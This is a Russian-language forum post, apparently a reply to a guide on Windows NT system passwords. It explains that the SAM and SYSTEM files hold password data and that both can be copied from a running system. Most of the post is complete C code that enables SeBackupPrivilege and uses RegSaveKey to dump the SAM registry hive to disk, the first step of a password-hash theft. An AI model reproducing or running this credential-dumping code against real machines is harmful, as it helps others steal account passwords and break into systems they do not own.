> 2.0. Системные пароли Windows NT > Пароли Windows линейки NT хранятся в файле > ДИРЕКТОРИЯ_ВИНДЫ/system32/config/SAM. > Windows не даёт пользователю возможности иметь легальный > доступ к этому файлу, поэтому для его получения нужно > копировать его не загружая Windows (Особо продвинутые люди > умудряются скопировать его используя прямой доступ к > жёсткому диску, но этот случай здесь не рассматривается). Если включен syskey, то нужен еще и файл %SystemRoot%\system32\config\SYSTEM
Кстати, эти файлы можно получить и на живой винде и без прямого доступа к диску. Получить привилегию SE_BACKUP_PRIVILEGE и заюзить RegSaveKey:
например так:
#include <windows.h>
#include <stdio.h>
int
main() {
HANDLE hToken = INVALID_HANDLE_VALUE;
char buffer[sizeof(TOKEN_PRIVILEGES) + sizeof(LUID_AND_ATTRIBUTES)];
HKEY hKey = INVALID_HANDLE_VALUE;
PTOKEN_PRIVILEGES pPriv = (PTOKEN_PRIVILEGES)buffer;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
goto fail;
pPriv->PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_BACKUP_NAME, &pPriv->Privileges[0].Luid);
pPriv->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, pPriv, 0, NULL, NULL))
goto fail;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SAM", 0, KEY_READ, &hKey))
goto fail;
if (RegSaveKey(hKey, "C:\\sam", NULL))
goto fail;
printf("Voila!!!\n");
RegCloseKey(hKey);
CloseHandle(hToken);
return 0;
fail:
if (hKey != INVALID_HANDLE_VALUE)
RegCloseKey(hKey);
if (hToken != INVALID_HANDLE_VALUE)
CloseHandle(hToken);
printf("Error occured :-(((\n");
return -1;
}
---
|